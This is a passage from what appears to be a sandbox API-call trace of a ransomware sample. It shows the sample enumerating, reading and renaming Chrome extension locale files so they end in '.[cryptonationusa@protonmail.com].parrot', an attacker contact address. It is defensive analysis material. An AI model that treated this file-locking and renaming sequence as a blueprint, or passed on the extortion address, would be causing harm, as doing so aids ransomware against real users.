ftLastAccessTime.dwLowDateTime=0x852d75f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb74ad640, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0070.143] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\uk\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0070.145] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0070.145] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x852d6650, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852d6650, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x852d6650, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.146] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0070.146] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0070.146] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x852d6650, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852d75f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0070.146] LockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1cb, nNumberOfBytesToLockHigh=0x0) returned 1 [0070.146] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0070.146] ReadFile (in: hFile=0x1fc, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0070.147] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.147] ReadFile (in: hFile=0x1fc, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xb3, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xb3, lpOverlapped=0x0) returned 1 [0070.147] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.148] UnlockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1cb, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0070.148] CloseHandle (hObject=0x1fc) returned 1 [0070.148] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\uk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\uk\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\uk\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\uk\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0070.150] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\uk\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0070.150] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x852d6650, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb74ad640, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb74ad640, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.150] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x852d6650, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852d75f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb74ad640, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0070.150] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\vi\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0070.151] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0070.151] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x852d6650, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852d6650, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x852d6650, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.151] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0070.151] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0070.151] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x852d6650, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852d75f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0070.151] LockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1cb, nNumberOfBytesToLockHigh=0x0) returned 1 [0070.151] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0070.151] ReadFile (in: hFile=0x1fc, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0070.152] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.152] ReadFile (in: hFile=0x1fc, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xb3, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xb3, lpOverlapped=0x0) returned 1 [0070.152] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.152] UnlockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1cb, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0070.153] CloseHandle (hObject=0x1fc) returned 1 [0070.153] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\vi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\vi\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\vi\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\vi\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0070.155] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\vi\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0070.155] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x852d6650, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb74ad640, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb74ad640, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.155] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x852d6650, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852d75f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb74ad640, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0070.155] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_CN\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0070.202] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0070.202] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85348a70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85348a70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85348a70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.202] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0070.202] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0070.202] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85348a70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85347ad0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0070.202] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1cb, nNumberOfBytesToLockHigh=0x0) returned 1 [0070.202] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0070.202] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0070.204] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.204] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xb3, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xb3, lpOverlapped=0x0) returned 1 [0070.204] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.204] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1cb, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0070.204] CloseHandle (hObject=0x28c) returned 1 [0070.205] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_CN\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_cn\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_CN\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_cn\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0070.207] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_CN\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0070.207] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85348a70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb7545bc0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb7545bc0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.207] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85348a70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85347ad0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb7545bc0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0070.207] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_TW\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0070.207] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0070.207] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85348a70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85348a70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85348a70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.207] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0070.207] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0070.207] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85348a70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85347ad0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0070.208] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1cb, nNumberOfBytesToLockHigh=0x0) returned 1 [0070.208] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0070.208] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0070.209] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.209] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xb3, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xb3, lpOverlapped=0x0) returned 1 [0070.209] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.209] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1cb, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0070.209] CloseHandle (hObject=0x28c) returned 1 [0070.209] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_TW\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_tw\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_TW\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_tw\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0070.211] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_TW\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0070.211] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85348a70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb7545bc0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb7545bc0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.211] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85348a70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85347ad0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb7545bc0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0070.212] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\*", fInfoLevelId=0x0, lpFindFileData=0x18ddec, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ddec) returned 0x600610 [0070.212] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x851f1e10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85348a70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85348a70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.212] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x851f1e10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb71b3ac0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb71b3ac0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ar", cAlternateFileName="")) returned 1 [0070.212] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x851f1e10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb71ffd80, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb71ffd80, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg", cAlternateFileName="")) returned 1 [0070.212] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x851f1e10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb71ffd80, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb71ffd80, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca", cAlternateFileName="")) returned 1 [0070.212] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85217f70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb7225ee0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb7225ee0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs", cAlternateFileName="")) returned 1 [0070.212] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85217f70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb7225ee0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb7225ee0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da", 